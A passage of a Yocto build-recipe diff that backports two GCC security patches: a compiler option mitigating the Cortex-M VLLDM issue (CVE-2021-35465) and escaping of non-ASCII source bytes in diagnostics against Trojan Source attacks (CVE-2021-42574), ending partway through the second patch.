- find ${D}${libdir} -name libiberty.h | xargs rm -f
+ rm -f *gcc-?*.?*
# Not sure why we end up with these but we don't want them...
rm -f ${TARGET_PREFIX}${TARGET_PREFIX}*
@@ -197,11 +215,12 @@ do_install () {
ln -sf ${bindir}/${TARGET_PREFIX}cpp ${D}${base_libdir}/cpp
ln -sf g++ c++
ln -sf gcc cc
-
+ install -d ${D}${libdir}/bfd-plugins
+ ln -sf ${libexecdir}/gcc/${TARGET_SYS}/${BINV}/liblto_plugin.so ${D}${libdir}/bfd-plugins/liblto_plugin.so
chown -R root:root ${D}
}
-do_install_append () {
+do_install:append () {
#
# Thefixinc.sh script, run on the gcc's compile phase, looks into sysroot header
# files and places the modified files into
@@ -237,4 +256,4 @@ do_install_append () {
# and builds track file dependencies (e.g. perl and its makedepends code).
# For determinism we don't install this ever and rely on the copy from gcc-cross.
# [YOCTO #7287]
-SYSROOT_DIRS_BLACKLIST += "${libdir}/gcc"
+SYSROOT_DIRS_IGNORE += "${libdir}/gcc"
diff --git a/meta/recipes-devtools/gcc/gcc/0001-CVE-2021-35465.patch b/meta/recipes-devtools/gcc/gcc/0001-CVE-2021-35465.patch
new file mode 100644
index 0000000000..e4aee10e37
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0001-CVE-2021-35465.patch
@@ -0,0 +1,138 @@
+From 3929bca9ca95de9d35e82ae8828b188029e3eb70 Mon Sep 17 00:00:00 2001
+From: Richard Earnshaw <rearnsha@arm.com>
+Date: Fri, 11 Jun 2021 16:02:05 +0100
+Subject: [PATCH] arm: Add command-line option for enabling CVE-2021-35465
+ mitigation [PR102035]
+
+Add a new option, -mfix-cmse-cve-2021-35465 and document it. Enable it
+automatically for cortex-m33, cortex-m35p and cortex-m55.
+
+gcc:
+ PR target/102035
+ * config/arm/arm.opt (mfix-cmse-cve-2021-35465): New option.
+ * doc/invoke.texi (Arm Options): Document it.
+ * config/arm/arm-cpus.in (quirk_vlldm): New feature bit.
+ (ALL_QUIRKS): Add quirk_vlldm.
+ (cortex-m33): Add quirk_vlldm.
+ (cortex-m35p, cortex-m55): Likewise.
+ * config/arm/arm.c (arm_option_override): Enable fix_vlldm if
+ targetting an affected CPU and not explicitly controlled on
+ the command line.
+
+CVE: CVE-2021-35465
+Upstream-Status: Backport [https://gcc.gnu.org/git/gitweb.cgi?p=gcc.git;h=3929bca9ca95de9d35e82ae8828b188029e3eb70]
+Signed-off-by: Pgowda <pgowda.cve@gmail.com>
+
+---
+ gcc/config/arm/arm-cpus.in | 9 +++++++--
+ gcc/config/arm/arm.c | 9 +++++++++
+ gcc/config/arm/arm.opt | 4 ++++
+ gcc/doc/invoke.texi | 9 +++++++++
+ 4 files changed, 29 insertions(+), 2 deletions(-)
+
+diff --git a/gcc/config/arm/arm.c b/gcc/config/arm/arm.c
+--- a/gcc/config/arm/arm.c 2021-11-15 02:13:11.100579812 -0800
++++ b/gcc/config/arm/arm.c 2021-11-15 02:17:36.988237692 -0800
+@@ -3610,6 +3610,15 @@ arm_option_override (void)
+ fix_cm3_ldrd = 0;
+ }
+
++ /* Enable fix_vlldm by default if required. */
++ if (fix_vlldm == 2)
++ {
++ if (bitmap_bit_p (arm_active_target.isa, isa_bit_quirk_vlldm))
++ fix_vlldm = 1;
++ else
++ fix_vlldm = 0;
++ }
++
+ /* Hot/Cold partitioning is not currently supported, since we can't
+ handle literal pool placement in that case. */
+ if (flag_reorder_blocks_and_partition)
+diff --git a/gcc/config/arm/arm-cpus.in b/gcc/config/arm/arm-cpus.in
+--- a/gcc/config/arm/arm-cpus.in 2021-11-15 02:13:11.104579747 -0800
++++ b/gcc/config/arm/arm-cpus.in 2021-11-15 02:17:36.984237757 -0800
+@@ -186,6 +186,9 @@ define feature quirk_armv6kz
+ # Cortex-M3 LDRD quirk.
+ define feature quirk_cm3_ldrd
+
++# v8-m/v8.1-m VLLDM errata.
++define feature quirk_vlldm
++
+ # Don't use .cpu assembly directive
+ define feature quirk_no_asmcpu
+
+@@ -322,7 +325,7 @@ define implied vfp_base MVE MVE_FP ALL_F
+ # architectures.
+ # xscale isn't really a 'quirk', but it isn't an architecture either and we
+ # need to ignore it for matching purposes.
+-define fgroup ALL_QUIRKS quirk_no_volatile_ce quirk_armv6kz quirk_cm3_ldrd xscale quirk_no_asmcpu
++define fgroup ALL_QUIRKS quirk_no_volatile_ce quirk_armv6kz quirk_cm3_ldrd quirk_vlldm xscale quirk_no_asmcpu
+
+ define fgroup IGNORE_FOR_MULTILIB cdecp0 cdecp1 cdecp2 cdecp3 cdecp4 cdecp5 cdecp6 cdecp7
+
+@@ -1570,6 +1573,7 @@ begin cpu cortex-m33
+ architecture armv8-m.main+dsp+fp
+ option nofp remove ALL_FP
+ option nodsp remove armv7em
++ isa quirk_vlldm
+ costs v7m
+ end cpu cortex-m33
+
+@@ -1579,6 +1583,7 @@ begin cpu cortex-m35p
+ architecture armv8-m.main+dsp+fp
+ option nofp remove ALL_FP
+ option nodsp remove armv7em
++ isa quirk_vlldm
+ costs v7m
+ end cpu cortex-m35p
+
+@@ -1590,7 +1595,7 @@ begin cpu cortex-m55
+ option nomve remove mve mve_float
+ option nofp remove ALL_FP mve_float
+ option nodsp remove MVE mve_float
+- isa quirk_no_asmcpu
++ isa quirk_no_asmcpu quirk_vlldm
+ costs v7m
+ vendor 41
+ end cpu cortex-m55
+diff --git a/gcc/config/arm/arm.opt b/gcc/config/arm/arm.opt
+--- a/gcc/config/arm/arm.opt 2021-11-15 02:13:11.104579747 -0800
++++ b/gcc/config/arm/arm.opt 2021-11-15 02:17:36.988237692 -0800
+@@ -268,6 +268,10 @@ Target Var(fix_cm3_ldrd) Init(2)
+ Avoid overlapping destination and address registers on LDRD instructions
+ that may trigger Cortex-M3 errata.
+
++mfix-cmse-cve-2021-35465
++Target Var(fix_vlldm) Init(2)
++Mitigate issues with VLLDM on some M-profile devices (CVE-2021-35465).
++
+ munaligned-access
+ Target Var(unaligned_access) Init(2) Save
+ Enable unaligned word and halfword accesses to packed data.
+diff --git a/gcc/doc/invoke.texi b/gcc/doc/invoke.texi
+--- a/gcc/doc/invoke.texi 2021-11-15 02:13:11.112579616 -0800
++++ b/gcc/doc/invoke.texi 2021-11-15 02:17:36.996237562 -0800
+@@ -804,6 +804,7 @@ Objective-C and Objective-C++ Dialects}.
+ -mverbose-cost-dump @gol
+ -mpure-code @gol
+ -mcmse @gol
++-mfix-cmse-cve-2021-35465 @gol
+ -mfdpic}
+
+ @emph{AVR Options}
+@@ -20487,6 +20488,14 @@ Generate secure code as per the "ARMv8-M
+ Development Tools Engineering Specification", which can be found on
+ @url{https://developer.arm.com/documentation/ecm0359818/latest/}.
+
++@item -mfix-cmse-cve-2021-35465
++@opindex mfix-cmse-cve-2021-35465
++Mitigate against a potential security issue with the @code{VLLDM} instruction
++in some M-profile devices when using CMSE (CVE-2021-365465). This option is
++enabled by default when the option @option{-mcpu=} is used with
++@code{cortex-m33}, @code{cortex-m35p} or @code{cortex-m55}. The option
++@option{-mno-fix-cmse-cve-2021-35465} can be used to disable the mitigation.
++
+ @item -mfdpic
+ @itemx -mno-fdpic
+ @opindex mfdpic
diff --git a/meta/recipes-devtools/gcc/gcc/0001-CVE-2021-42574.patch b/meta/recipes-devtools/gcc/gcc/0001-CVE-2021-42574.patch
new file mode 100644
index 0000000000..4d680ccc8f
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0001-CVE-2021-42574.patch
@@ -0,0 +1,2282 @@
+From bd5e882cf6e0def3dd1bc106075d59a303fe0d1e Mon Sep 17 00:00:00 2001
+From: David Malcolm <dmalcolm@redhat.com>
+Date: Mon, 18 Oct 2021 18:55:31 -0400
+Subject: [PATCH] diagnostics: escape non-ASCII source bytes for certain
+ diagnostics
+MIME-Version: 1.0
+Content-Type: text/plain; charset=utf8
+Content-Transfer-Encoding: 8bit
+
+This patch adds support to GCC's diagnostic subsystem for escaping certain
+bytes and Unicode characters when quoting source code.
+
+Specifically, this patch adds a new flag rich_location::m_escape_on_output
+which is a hint from a diagnostic that non-ASCII bytes in the pertinent
+lines of the user's source code should be escaped when printed.
+
+The patch sets this for the following diagnostics:
+- when complaining about stray bytes in the program (when these
+are non-printable)
+- when complaining about "null character(s) ignored");
+- for -Wnormalized= (and generate source ranges for such warnings)
+
+The escaping is controlled by a new option:
+ -fdiagnostics-escape-format=[unicode|bytes]
+
+For example, consider a diagnostic involing a source line containing the
+string "before" followed by the Unicode character U+03C0 ("GREEK SMALL
+LETTER PI", with UTF-8 encoding 0xCF 0x80) followed by the byte 0xBF
+(a stray UTF-8 trailing byte), followed by the string "after", where the
+diagnostic highlights the U+03C0 character.
+
+By default, this line will be printed verbatim to the user when
+reporting a diagnostic at it, as:
+
+ beforeÏXafter
+ ^
+
+(using X for the stray byte to avoid putting invalid UTF-8 in this
+commit message)
+
+If the diagnostic sets the "escape" flag, it will be printed as:
+
+ before<U+03C0><BF>after
+ ^~~~~~~~
+
+with -fdiagnostics-escape-format=unicode (the default), or as:
+
+ before<CF><80><BF>after
+ ^~~~~~~~
+
+if the user supplies -fdiagnostics-escape-format=bytes.
+
+This only affects how the source is printed; it does not affect
+how column numbers that are printed (as per -fdiagnostics-column-unit=
+and -fdiagnostics-column-origin=).
+
+gcc/c-family/ChangeLog:
+ * c-lex.c (c_lex_with_flags): When complaining about non-printable
+ CPP_OTHER tokens, set the "escape on output" flag.
+
+gcc/ChangeLog:
+ * common.opt (fdiagnostics-escape-format=): New.
+ (diagnostics_escape_format): New enum.
+ (DIAGNOSTICS_ESCAPE_FORMAT_UNICODE): New enum value.
+ (DIAGNOSTICS_ESCAPE_FORMAT_BYTES): Likewise.
+ * diagnostic-format-json.cc (json_end_diagnostic): Add
+ "escape-source" attribute.
+ * diagnostic-show-locus.c
+ (exploc_with_display_col::exploc_with_display_col): Replace
+ "tabstop" param with a cpp_char_column_policy and add an "aspect"
+ param. Use these to compute m_display_col accordingly.
+ (struct char_display_policy): New struct.
+ (layout::m_policy): New field.
+ (layout::m_escape_on_output): New field.
+ (def_policy): New function.
+ (make_range): Update for changes to exploc_with_display_col ctor.
+ (default_print_decoded_ch): New.
+ (width_per_escaped_byte): New.
+ (escape_as_bytes_width): New.
+ (escape_as_bytes_print): New.
+ (escape_as_unicode_width): New.
+ (escape_as_unicode_print): New.
+ (make_policy): New.
+ (layout::layout): Initialize new fields. Update m_exploc ctor
+ call for above change to ctor.
+ (layout::maybe_add_location_range): Update for changes to
+ exploc_with_display_col ctor.
+ (layout::calculate_x_offset_display): Update for change to
+ cpp_display_width.
+ (layout::print_source_line): Pass policy
+ to cpp_display_width_computation. Capture cpp_decoded_char when
+ calling process_next_codepoint. Move printing of source code to
+ m_policy.m_print_cb.
+ (line_label::line_label): Pass in policy rather than context.
+ (layout::print_any_labels): Update for change to line_label ctor.
+ (get_affected_range): Pass in policy rather than context, updating
+ calls to location_compute_display_column accordingly.
+ (get_printed_columns): Likewise, also for cpp_display_width.
+ (correction::correction): Pass in policy rather than tabstop.
+ (correction::compute_display_cols): Pass m_policy rather than
+ m_tabstop to cpp_display_width.
+ (correction::m_tabstop): Replace with...
+ (correction::m_policy): ...this.
+ (line_corrections::line_corrections): Pass in policy rather than
+ context.
+ (line_corrections::m_context): Replace with...
+ (line_corrections::m_policy): ...this.
+ (line_corrections::add_hint): Update to use m_policy rather than
+ m_context.
+ (line_corrections::add_hint): Likewise.
+ (layout::print_trailing_fixits): Likewise.
+ (selftest::test_display_widths): New.
+ (selftest::test_layout_x_offset_display_utf8): Update to use
+ policy rather than tabstop.
+ (selftest::test_one_liner_labels_utf8): Add test of escaping
+ source lines.
+ (selftest::test_diagnostic_show_locus_one_liner_utf8): Update to
+ use policy rather than tabstop.
+ (selftest::test_overlapped_fixit_printing): Likewise.
+ (selftest::test_overlapped_fixit_printing_utf8): Likewise.
+ (selftest::test_overlapped_fixit_printing_2): Likewise.
+ (selftest::test_tab_expansion): Likewise.
+ (selftest::test_escaping_bytes_1): New.
+ (selftest::test_escaping_bytes_2): New.
+ (selftest::diagnostic_show_locus_c_tests): Call the new tests.
+ * diagnostic.c (diagnostic_initialize): Initialize
+ context->escape_format.
+ (convert_column_unit): Update to use default character width policy.
+ (selftest::test_diagnostic_get_location_text): Likewise.
+ * diagnostic.h (enum diagnostics_escape_format): New enum.
+ (diagnostic_context::escape_format): New field.
+ * doc/invoke.texi (-fdiagnostics-escape-format=): New option.
+ (-fdiagnostics-format=): Add "escape-source" attribute to examples
+ of JSON output, and document it.
+ * input.c (location_compute_display_column): Pass in "policy"
+ rather than "tabstop", passing to
+ cpp_byte_column_to_display_column.
+ (selftest::test_cpp_utf8): Update to use cpp_char_column_policy.
+ * input.h (class cpp_char_column_policy): New forward decl.
+ (location_compute_display_column): Pass in "policy" rather than
+ "tabstop".
+ * opts.c (common_handle_option): Handle
+ OPT_fdiagnostics_escape_format_.
+ * selftest.c (temp_source_file::temp_source_file): New ctor
+ overload taking a size_t.
+ * selftest.h (temp_source_file::temp_source_file): Likewise.
+
+gcc/testsuite/ChangeLog:
+ * c-c++-common/diagnostic-format-json-1.c: Add regexp to consume
+ "escape-source" attribute.
+ * c-c++-common/diagnostic-format-json-2.c: Likewise.
+ * c-c++-common/diagnostic-format-json-3.c: Likewise.
+ * c-c++-common/diagnostic-format-json-4.c: Likewise, twice.
+ * c-c++-common/diagnostic-format-json-5.c: Likewise.
+ * gcc.dg/cpp/warn-normalized-4-bytes.c: New test.
+ * gcc.dg/cpp/warn-normalized-4-unicode.c: New test.
+ * gcc.dg/encoding-issues-bytes.c: New test.
+ * gcc.dg/encoding-issues-unicode.c: New test.
+ * gfortran.dg/diagnostic-format-json-1.F90: Add regexp to consume
+ "escape-source" attribute.
+ * gfortran.dg/diagnostic-format-json-2.F90: Likewise.
+ * gfortran.dg/diagnostic-format-json-3.F90: Likewise.
+
+libcpp/ChangeLog:
+ * charset.c (convert_escape): Use encoding_rich_location when
+ complaining about nonprintable unknown escape sequences.
+ (cpp_display_width_computation::::cpp_display_width_computation):
+ Pass in policy rather than tabstop.
+ (cpp_display_width_computation::process_next_codepoint): Add "out"
+ param and populate *out if non-NULL.
+ (cpp_display_width_computation::advance_display_cols): Pass NULL
+ to process_next_codepoint.
+ (cpp_byte_column_to_display_column): Pass in policy rather than
+ tabstop. Pass NULL to process_next_codepoint.
+ (cpp_display_column_to_byte_column): Pass in policy rather than
+ tabstop.
+ * errors.c (cpp_diagnostic_get_current_location): New function,
+ splitting out the logic from...
+ (cpp_diagnostic): ...here.
+ (cpp_warning_at): New function.
+ (cpp_pedwarning_at): New function.
+ * include/cpplib.h (cpp_warning_at): New decl for rich_location.
+ (cpp_pedwarning_at): Likewise.
+ (struct cpp_decoded_char): New.
+ (struct cpp_char_column_policy): New.
+ (cpp_display_width_computation::cpp_display_width_computation):
+ Replace "tabstop" param with "policy".
+ (cpp_display_width_computation::process_next_codepoint): Add "out"
+ param.
+ (cpp_display_width_computation::m_tabstop): Replace with...
+ (cpp_display_width_computation::m_policy): ...this.
+ (cpp_byte_column_to_display_column): Replace "tabstop" param with
+ "policy".
+ (cpp_display_width): Likewise.
+ (cpp_display_column_to_byte_column): Likewise.
+ * include/line-map.h (rich_location::escape_on_output_p): New.
+ (rich_location::set_escape_on_output): New.
+ (rich_location::m_escape_on_output): New.
+ * internal.h (cpp_diagnostic_get_current_location): New decl.
+ (class encoding_rich_location): New.
+ * lex.c (skip_whitespace): Use encoding_rich_location when
+ complaining about null characters.
+ (warn_about_normalization): Generate a source range when
+ complaining about improperly normalized tokens, rather than just a
+ point, and use encoding_rich_location so that the source code
+ is escaped on printing.
+ * line-map.c (rich_location::rich_location): Initialize
+ m_escape_on_output.
+
+Signed-off-by: David Malcolm <dmalcolm@redhat.com>
+
+CVE: CVE-2021-42574
+Upstream-Status: Backport [https://gcc.gnu.org/git/gitweb.cgi?p=gcc.git;h=bd5e882cf6e0def3dd1bc106075d59a303fe0d1e]
+Signed-off-by: Pgowda <pgowda.cve@gmail.com>
+
+---
+ gcc/c-family/c-lex.c | 6 +-
+ gcc/common.opt | 13 +
+ gcc/diagnostic-format-json.cc | 3 +
+ gcc/diagnostic-show-locus.c | 580 +++++++++++++++---
+ gcc/diagnostic.c | 10 +-
+ gcc/diagnostic.h | 18 +
+ gcc/doc/invoke.texi | 43 +-
+ gcc/input.c | 62 +-
+ gcc/input.h | 7 +-
+ gcc/opts.c | 4 +
+ gcc/selftest.c | 15 +
+ gcc/selftest.h | 2 +
+ .../c-c++-common/diagnostic-format-json-1.c | 1 +
+ .../c-c++-common/diagnostic-format-json-2.c | 1 +
+ .../c-c++-common/diagnostic-format-json-3.c | 1 +
+ .../c-c++-common/diagnostic-format-json-4.c | 2 +
+ .../c-c++-common/diagnostic-format-json-5.c | 1 +
+ .../gcc.dg/cpp/warn-normalized-4-bytes.c | 21 +
+ .../gcc.dg/cpp/warn-normalized-4-unicode.c | 19 +
+ gcc/testsuite/gcc.dg/encoding-issues-bytes.c | Bin 0 -> 595 bytes
+ .../gcc.dg/encoding-issues-unicode.c | Bin 0 -> 613 bytes
+ .../gfortran.dg/diagnostic-format-json-1.F90 | 1 +
+ .../gfortran.dg/diagnostic-format-json-2.F90 | 1 +
+ .../gfortran.dg/diagnostic-format-json-3.F90 | 1 +
+ libcpp/charset.c | 63 +-
+ libcpp/errors.c | 82 ++-
+ libcpp/include/cpplib.h | 76 ++-
+ libcpp/include/line-map.h | 13 +
+ libcpp/internal.h | 23 +
+ libcpp/lex.c | 38 +-
+ libcpp/line-map.c | 3 +-
+ 31 files changed, 942 insertions(+), 168 deletions(-)
+ create mode 100644 gcc/testsuite/gcc.dg/cpp/warn-normalized-4-bytes.c
+ create mode 100644 gcc/testsuite/gcc.dg/cpp/warn-normalized-4-unicode.c
+ create mode 100644 gcc/testsuite/gcc.dg/encoding-issues-bytes.c
+ create mode 100644 gcc/testsuite/gcc.dg/encoding-issues-unicode.c
+
+diff --git a/gcc/c-family/c-lex.c b/gcc/c-family/c-lex.c
+--- a/gcc/c-family/c-lex.c 2021-07-27 23:55:06.980283060 -0700
++++ b/gcc/c-family/c-lex.c 2021-12-14 01:16:01.541943272 -0800
+@@ -603,7 +603,11 @@ c_lex_with_flags (tree *value, location_
+ else if (ISGRAPH (c))
+ error_at (*loc, "stray %qc in program", (int) c);
+ else
+- error_at (*loc, "stray %<\\%o%> in program", (int) c);
++ {
++ rich_location rich_loc (line_table, *loc);
++ rich_loc.set_escape_on_output (true);
++ error_at (&rich_loc, "stray %<\\%o%> in program", (int) c);
++ }
+ }
+ goto retry;
+
+diff --git a/gcc/common.opt b/gcc/common.opt
+--- a/gcc/common.opt 2021-12-13 22:08:44.939137107 -0800
++++ b/gcc/common.opt 2021-12-14 01:16:01.541943272 -0800
+@@ -1348,6 +1348,10 @@ fdiagnostics-format=
+ Common Joined RejectNegative Enum(diagnostics_output_format)
+ -fdiagnostics-format=[text|json] Select output format.
+
++fdiagnostics-escape-format=
++Common Joined RejectNegative Enum(diagnostics_escape_format)
++-fdiagnostics-escape-format=[unicode|bytes] Select how to escape non-printable-ASCII bytes in the source for diagnostics that suggest it.
++
+ ; Required for these enum values.
+ SourceInclude
+ diagnostic.h
+@@ -1362,6 +1366,15 @@ EnumValue
+ Enum(diagnostics_column_unit) String(byte) Value(DIAGNOSTICS_COLUMN_UNIT_BYTE)
+
+ Enum
++Name(diagnostics_escape_format) Type(int)
++
++EnumValue
++Enum(diagnostics_escape_format) String(unicode) Value(DIAGNOSTICS_ESCAPE_FORMAT_UNICODE)
++
++EnumValue
++Enum(diagnostics_escape_format) String(bytes) Value(DIAGNOSTICS_ESCAPE_FORMAT_BYTES)
++
++Enum
+ Name(diagnostics_output_format) Type(int)
+
+ EnumValue
+diff --git a/gcc/diagnostic.c b/gcc/diagnostic.c
+--- a/gcc/diagnostic.c 2021-07-27 23:55:07.232286576 -0700
++++ b/gcc/diagnostic.c 2021-12-14 01:16:01.545943202 -0800
+@@ -230,6 +230,7 @@ diagnostic_initialize (diagnostic_contex
+ context->column_unit = DIAGNOSTICS_COLUMN_UNIT_DISPLAY;
+ context->column_origin = 1;
+ context->tabstop = 8;
++ context->escape_format = DIAGNOSTICS_ESCAPE_FORMAT_UNICODE;
+ context->edit_context_ptr = NULL;
+ context->diagnostic_group_nesting_depth = 0;
+ context->diagnostic_group_emission_count = 0;
+@@ -382,7 +383,10 @@ convert_column_unit (enum diagnostics_co
+ gcc_unreachable ();
+
+ case DIAGNOSTICS_COLUMN_UNIT_DISPLAY:
+- return location_compute_display_column (s, tabstop);
++ {
++ cpp_char_column_policy policy (tabstop, cpp_wcwidth);
++ return location_compute_display_column (s, policy);
++ }
+
+ case DIAGNOSTICS_COLUMN_UNIT_BYTE:
+ return s.column;
+@@ -2275,8 +2279,8 @@ test_diagnostic_get_location_text ()
+ const char *const content = "smile \xf0\x9f\x98\x82\n";
+ const int line_bytes = strlen (content) - 1;
+ const int def_tabstop = 8;
+- const int display_width = cpp_display_width (content, line_bytes,
+- def_tabstop);
++ const cpp_char_column_policy policy (def_tabstop, cpp_wcwidth);
++ const int display_width = cpp_display_width (content, line_bytes, policy);
+ ASSERT_EQ (line_bytes - 2, display_width);
+ temp_source_file tmp (SELFTEST_LOCATION, ".c", content);
+ const char *const fname = tmp.get_filename ();
+diff --git a/gcc/diagnostic-format-json.cc b/gcc/diagnostic-format-json.cc
+--- a/gcc/diagnostic-format-json.cc 2021-07-27 23:55:07.232286576 -0700
++++ b/gcc/diagnostic-format-json.cc 2021-12-14 01:16:01.541943272 -0800
+@@ -264,6 +264,9 @@ json_end_diagnostic (diagnostic_context
+ json::value *path_value = context->make_json_for_path (context, path);
+ diag_obj->set ("path", path_value);
+ }
++
++ diag_obj->set ("escape-source",
++ new json::literal (richloc->escape_on_output_p ()));
+ }
+
+ /* No-op implementation of "begin_group_cb" for JSON output. */
+diff --git a/gcc/diagnostic.h b/gcc/diagnostic.h
+--- a/gcc/diagnostic.h 2021-07-27 23:55:07.236286632 -0700
++++ b/gcc/diagnostic.h 2021-12-14 01:16:01.545943202 -0800
+@@ -38,6 +38,20 @@ enum diagnostics_column_unit
+ DIAGNOSTICS_COLUMN_UNIT_BYTE
+ };
+
++/* An enum for controlling how to print non-ASCII characters/bytes when
++ a diagnostic suggests escaping the source code on output. */
++
++enum diagnostics_escape_format
++{
++ /* Escape non-ASCII Unicode characters in the form <U+XXXX> and
++ non-UTF-8 bytes in the form <XX>. */
++ DIAGNOSTICS_ESCAPE_FORMAT_UNICODE,
++
++ /* Escape non-ASCII bytes in the form <XX> (thus showing the underlying
++ encoding of non-ASCII Unicode characters). */
++ DIAGNOSTICS_ESCAPE_FORMAT_BYTES
++};
++
+ /* Enum for overriding the standard output format. */
+
+ enum diagnostics_output_format
+@@ -320,6 +334,10 @@ struct diagnostic_context
+ /* The size of the tabstop for tab expansion. */
+ int tabstop;
+
++ /* How should non-ASCII/non-printable bytes be escaped when
++ a diagnostic suggests escaping the source code on output. */
++ enum diagnostics_escape_format escape_format;
++
+ /* If non-NULL, an edit_context to which fix-it hints should be
+ applied, for generating patches. */
+ edit_context *edit_context_ptr;
+diff --git a/gcc/diagnostic-show-locus.c b/gcc/diagnostic-show-locus.c
+--- a/gcc/diagnostic-show-locus.c 2021-07-27 23:55:07.232286576 -0700
++++ b/gcc/diagnostic-show-locus.c 2021-12-14 01:16:01.545943202 -0800
+@@ -175,10 +175,26 @@ enum column_unit {
+ class exploc_with_display_col : public expanded_location
+ {
+ public:
+- exploc_with_display_col (const expanded_location &exploc, int tabstop)
+- : expanded_location (exploc),
+- m_display_col (location_compute_display_column (exploc, tabstop))
+- {}
++ exploc_with_display_col (const expanded_location &exploc,
++ const cpp_char_column_policy &policy,
++ enum location_aspect aspect)
++ : expanded_location (exploc),
++ m_display_col (location_compute_display_column (exploc, policy))
++ {
++ if (exploc.column > 0)
++ {
++ /* m_display_col is now the final column of the byte.
++ If escaping has happened, we may want the first column instead. */
++ if (aspect != LOCATION_ASPECT_FINISH)
++ {
++ expanded_location prev_exploc (exploc);
++ prev_exploc.column--;
++ int prev_display_col
++ = (location_compute_display_column (prev_exploc, policy));
++ m_display_col = prev_display_col + 1;
++ }
++ }
++ }
+
+ int m_display_col;
+ };
+@@ -313,6 +329,31 @@ test_line_span ()
+
+ #endif /* #if CHECKING_P */
+
++/* A bundle of information containing how to print unicode
++ characters and bytes when quoting source code.
++
++ Provides a unified place to support escaping some subset
++ of characters to some format.
++
++ Extends char_column_policy; printing is split out to avoid
++ libcpp having to know about pretty_printer. */
++
++struct char_display_policy : public cpp_char_column_policy
++{
++ public:
++ char_display_policy (int tabstop,
++ int (*width_cb) (cppchar_t c),
++ void (*print_cb) (pretty_printer *pp,
++ const cpp_decoded_char &cp))
++ : cpp_char_column_policy (tabstop, width_cb),
++ m_print_cb (print_cb)
++ {
++ }
++
++ void (*m_print_cb) (pretty_printer *pp,
++ const cpp_decoded_char &cp);
++};
++
+ /* A class to control the overall layout when printing a diagnostic.
+
+ The layout is determined within the constructor.
+@@ -345,6 +386,8 @@ class layout
+
+ void print_line (linenum_type row);
+
++ void on_bad_codepoint (const char *ptr, cppchar_t ch, size_t ch_sz);
++
+ private:
+ bool will_show_line_p (linenum_type row) const;
+ void print_leading_fixits (linenum_type row);
+@@ -386,6 +429,7 @@ class layout
+ private:
+ diagnostic_context *m_context;
+ pretty_printer *m_pp;
++ char_display_policy m_policy;
+ location_t m_primary_loc;
+ exploc_with_display_col m_exploc;
+ colorizer m_colorizer;
+@@ -398,6 +442,7 @@ class layout
+ auto_vec <line_span> m_line_spans;
+ int m_linenum_width;
+ int m_x_offset_display;
++ bool m_escape_on_output;
+ };
+
+ /* Implementation of "class colorizer". */
+@@ -646,6 +691,11 @@ layout_range::intersects_line_p (linenum
+ /* Default for when we don't care what the tab expansion is set to. */
+ static const int def_tabstop = 8;
+
++static cpp_char_column_policy def_policy ()
++{
++ return cpp_char_column_policy (8, cpp_wcwidth);
++}
++
+ /* Create some expanded locations for testing layout_range. The filename
+ member of the explocs is set to the empty string. This member will only be
+ inspected by the calls to location_compute_display_column() made from the
+@@ -662,10 +712,13 @@ make_range (int start_line, int start_co
+ = {"", start_line, start_col, NULL, false};
+ const expanded_location finish_exploc
+ = {"", end_line, end_col, NULL, false};
+- return layout_range (exploc_with_display_col (start_exploc, def_tabstop),
+- exploc_with_display_col (finish_exploc, def_tabstop),
++ return layout_range (exploc_with_display_col (start_exploc, def_policy (),
++ LOCATION_ASPECT_START),
++ exploc_with_display_col (finish_exploc, def_policy (),
++ LOCATION_ASPECT_FINISH),
+ SHOW_RANGE_WITHOUT_CARET,
+- exploc_with_display_col (start_exploc, def_tabstop),
++ exploc_with_display_col (start_exploc, def_policy (),
++ LOCATION_ASPECT_CARET),
+ 0, NULL);
+ }
+
+@@ -959,6 +1012,164 @@ fixit_cmp (const void *p_a, const void *
+ return hint_a->get_start_loc () - hint_b->get_start_loc ();
+ }
+
++/* Callbacks for use when not escaping the source. */
++
++/* The default callback for char_column_policy::m_width_cb is cpp_wcwidth. */
++
++/* Callback for char_display_policy::m_print_cb for printing source chars
++ when not escaping the source. */
++
++static void
++default_print_decoded_ch (pretty_printer *pp,
++ const cpp_decoded_char &decoded_ch)
++{
++ for (const char *ptr = decoded_ch.m_start_byte;
++ ptr != decoded_ch.m_next_byte; ptr++)
++ {
++ if (*ptr == '\0' || *ptr == '\r')
++ {
++ pp_space (pp);
++ continue;
++ }
++
++ pp_character (pp, *ptr);
++ }
++}
++
++/* Callbacks for use with DIAGNOSTICS_ESCAPE_FORMAT_BYTES. */
++
++static const int width_per_escaped_byte = 4;
++
++/* Callback for char_column_policy::m_width_cb for determining the
++ display width when escaping with DIAGNOSTICS_ESCAPE_FORMAT_BYTES. */
++
++static int
++escape_as_bytes_width (cppchar_t ch)
++{
++ if (ch < 0x80 && ISPRINT (ch))
++ return cpp_wcwidth (ch);
++ else
++ {
++ if (ch <= 0x7F) return 1 * width_per_escaped_byte;
++ if (ch <= 0x7FF) return 2 * width_per_escaped_byte;
++ if (ch <= 0xFFFF) return 3 * width_per_escaped_byte;
++ return 4 * width_per_escaped_byte;
++ }
++}
++
++/* Callback for char_display_policy::m_print_cb for printing source chars
++ when escaping with DIAGNOSTICS_ESCAPE_FORMAT_BYTES. */
++
++static void
++escape_as_bytes_print (pretty_printer *pp,
++ const cpp_decoded_char &decoded_ch)
++{
++ if (!decoded_ch.m_valid_ch)
++ {
++ for (const char *iter = decoded_ch.m_start_byte;
++ iter != decoded_ch.m_next_byte; ++iter)
++ {
++ char buf[16];
++ sprintf (buf, "<%02x>", (unsigned char)*iter);
++ pp_string (pp, buf);
++ }
++ return;
++ }
++
++ cppchar_t ch = decoded_ch.m_ch;
++ if (ch < 0x80 && ISPRINT (ch))
++ pp_character (pp, ch);
++ else
++ {
++ for (const char *iter = decoded_ch.m_start_byte;
++ iter < decoded_ch.m_next_byte; ++iter)
++ {
++ char buf[16];
++ sprintf (buf, "<%02x>", (unsigned char)*iter);
++ pp_string (pp, buf);
++ }
++ }
++}
++
++/* Callbacks for use with DIAGNOSTICS_ESCAPE_FORMAT_UNICODE. */
++
++/* Callback for char_column_policy::m_width_cb for determining the
++ display width when escaping with DIAGNOSTICS_ESCAPE_FORMAT_UNICODE. */
++
++static int
++escape_as_unicode_width (cppchar_t ch)
++{
++ if (ch < 0x80 && ISPRINT (ch))
++ return cpp_wcwidth (ch);
++ else
++ {
++ // Width of "<U+%04x>"
++ if (ch > 0xfffff)
++ return 10;
++ else if (ch > 0xffff)
++ return 9;
++ else
++ return 8;
++ }
++}
++
++/* Callback for char_display_policy::m_print_cb for printing source chars
